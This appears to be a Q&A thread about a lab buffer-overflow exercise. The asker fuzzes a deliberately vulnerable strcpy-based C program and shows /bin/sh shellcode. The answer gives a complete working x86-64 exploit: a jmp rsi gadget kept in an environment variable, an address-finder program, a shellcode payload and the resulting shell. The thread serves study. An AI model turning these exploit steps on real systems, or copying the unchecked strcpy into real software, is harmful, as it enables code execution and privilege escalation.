Reputation: 87
I'm doing an exercise about a buffer overload on a C program, the goal of this problem is to get the root shell once I have inserted a shellcode into the program. This is what I have until now:
STEP 1. First, let's see my C code in the file file.c
:
root@kali:~# cat ./file.c
#include <stdio.h>
#include <string.h>
void premio()
{
printf("I have altered the programs flow\n");
}
int main(int argc, char *argv[])
{
char buffer[100];
if (argc != 2)
{
printf("Use: %s argument\n",argv[0]);
return -1;
}
strcpy(buffer,argv[1]);
printf ("%s\n",buffer);
return 0;
}
STEP 2. I have compilled it and deactivated the ASLR to avoid receiving random addresses as follows:
gcc -fno-stack-protector -z execstack buffer.c -o buffer
echo 0 > /proc/sys/kernel/randomize_va_space
STEP 3. Let's check how it works:
root@kali:~# ./file string
string
root@kali:~# ./file `ruby -e 'print "a"*99'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
root@kali:~# ./file `ruby -e 'print "a"*100'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
root@kali:~# ./file `ruby -e 'print "a"*125'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (this means we have overwritten the EIP register)
root@kali:~# gdb ./file
(gdb) run `ruby -e 'print "a"*125'`
Starting program: /root/file `ruby -e 'print "a"*125'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program received signal SIGSEGV, Segmentation fault.
0x0000006161616161 in ?? () (this is the value of EIP beacuse of the letter a)
(gdb)
STEP 4. We will find the value of the position of EIP using:
root@kali:~# ./pattern_create.rb -l 125
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae
root@kali:~# gdb ./file
(gdb) run "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae"
Starting program: /root/file "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae"
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae
Program received signal SIGSEGV, Segmentation fault.
0x0000006541306541 in ?? ()
root@kali:~# ./pattern_offset.rb -q 0x0000006541306541 -l 125
[*] Exact match at offset 120
In this case we have found that if we write 120 characters the next 5 will be EIP
STEP 5. Now we will create a script to overwrite the buffer with the shellcode, the shellcode was taken from:
\x31 \xc0 xor eax, eax
\x50 push eax
//PUSH /bin
\x68\x2f\x2f\x73\x68 push 0x68732f2f
//PUSH //sh
\x68\x2f\x62\x69\x6e push 0x6e69622f
\x89\xe3 mov ebx, esp
\x50 push eax
\x53 push ebx
\x89\xe1 mov ecx, esp
\xb0\x0b mov al, 0xb
\xcd\x80 int 0x80
root@kali:~# cat ./exploit.rb
eip = "bbbbb"
aes = "a"*97
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" #23 bytes
print (shell + aes + eip) #125 bytes total
STEP 6. Now we must know what address must jump to begin to execute our shell, but I'm stuck here because I do not know how to do it.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x0000000000000753 <+0>: push rbp
0x0000000000000754 <+1>: mov rbp,rsp
0x0000000000000757 <+4>: add rsp,0xffffffffffffff80
0x000000000000075b <+8>: mov DWORD PTR [rbp-0x74],edi
0x000000000000075e <+11>: mov QWORD PTR [rbp-0x80],rsi
0x0000000000000762 <+15>: cmp DWORD PTR [rbp-0x74],0x2
0x0000000000000766 <+19>: je 0x78a <main+55>
0x0000000000000768 <+21>: mov rax,QWORD PTR [rbp-0x80]
0x000000000000076c <+25>: mov rax,QWORD PTR [rax]
0x000000000000076f <+28>: mov rsi,rax
0x0000000000000772 <+31>: lea rdi,[rip+0xf1] # 0x86a
0x0000000000000779 <+38>: mov eax,0x0
0x000000000000077e <+43>: call 0x5f0 <printf@plt>
0x0000000000000783 <+48>: mov eax,0xffffffff
0x0000000000000788 <+53>: jmp 0x7b5 <main+98>
0x000000000000078a <+55>: mov rax,QWORD PTR [rbp-0x80]
0x000000000000078e <+59>: add rax,0x8
0x0000000000000792 <+63>: mov rdx,QWORD PTR [rax]
0x0000000000000795 <+66>: lea rax,[rbp-0x70]
0x0000000000000799 <+70>: mov rsi,rdx
0x000000000000079c <+73>: mov rdi,rax
0x000000000000079f <+76>: call 0x5d0 <strcpy@plt>
0x00000000000007a4 <+81>: lea rax,[rbp-0x70]
0x00000000000007a8 <+85>: mov rdi,rax
0x00000000000007ab <+88>: call 0x5e0 <puts@plt>
0x00000000000007b0 <+93>: mov eax,0x0
0x00000000000007b5 <+98>: leave
0x00000000000007b6 <+99>: ret
End of assembler dump.
STEP 7. Here it is supposed to find the address to put it into the exploit script changing the value of EIP but I don`t know what to do.
(gdb) run `ruby exploit.rb`
Starting program: /root/file `ruby exploit.rb`
1▒Ph//shh/bin▒▒PS▒▒
̀aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbb
Program received signal SIGSEGV, Segmentation fault.
0x0000006262626262 in ?? ()
(gdb) x/40x $esp
0xffffffffffffe590: Cannot access memory at address 0xffffffffffffe590
(gdb) x/40x $rsp
0x7fffffffe590: 0x00600000 0x00000000 0xffffe668 0x00007fff
0x7fffffffe5a0: 0xf7b9c168 0x00000002 0x55554753 0x00005555
0x7fffffffe5b0: 0x00000000 0x00000000 0xb3c231f4 0x54cfb08e
0x7fffffffe5c0: 0x55554610 0x00005555 0xffffe660 0x00007fff
0x7fffffffe5d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe5e0: 0xf76231f4 0x019ae5db 0x589031f4 0x019af56f
0x7fffffffe5f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe600: 0x00000000 0x00000000 0xffffe680 0x00007fff
0x7fffffffe610: 0xf7ffe168 0x00007fff 0xf7de875b 0x00007fff
0x7fffffffe620: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb)
At the end of all it must give me a root shell.
I'm stuck on steps 6 and 7.
Upvotes: 3
Views: 2655
Reputation: 1102
In C language the null character is the end of the argument. So, you can't have null characters in your payload (first argument). In conclusion, you have to find a way to jump to your shellcode without null characters.
A way to solve your problem could be using the environment variables. E.g. to save the jump (jmp rsi)
Why the RSI register?
Because the offset is 0
[RSP] --> offset 120 - size ~80
[RSI] --> offset 0 - size ~203
Get the opcodes and keep it in an environment variable.
[manu@kinakuta /tmp]$ rasm2 "jmp rsi"
ffe6
[manu@kinakuta /tmp]$ export JMP_RSI=`python -c 'print "\xff\xe6\x00"'`
Getting the address of the environment variable
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]){
char *ptr;
if (argc < 3){
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) -strlen(argv[2]))*2;
printf("%p\n",ptr);
}
Compile and get the address
[manu@kinakuta /tmp]$ gcc getenvaddr.c -o getenvaddr
[manu@kinakuta /tmp]$ ./getenvaddr JMP_RSI ./buffer
0x7fffffffef3d
You have to add 8 to this address if you are in the debugger.
Making the exploit
Shellcode + padding + EIP (environment variable address) -> RSI + padding + JMP RSI
[manu@kinakuta /tmp]$ python -c 'print "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"+"\x90"*(120-30)+"\x3d\xef\xff\xff\xff\x7f"' > input
[manu@kinakuta /tmp]$ ./buffer `cat input`
H1�H�//bin/shH�SH��PWH���;������������������������������������������������������������������������������������������=����
$ id
uid=1000(manu) gid=1000(manu) groups=1000(manu),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),122(vboxusers),124(wireshark)
Upvotes: 1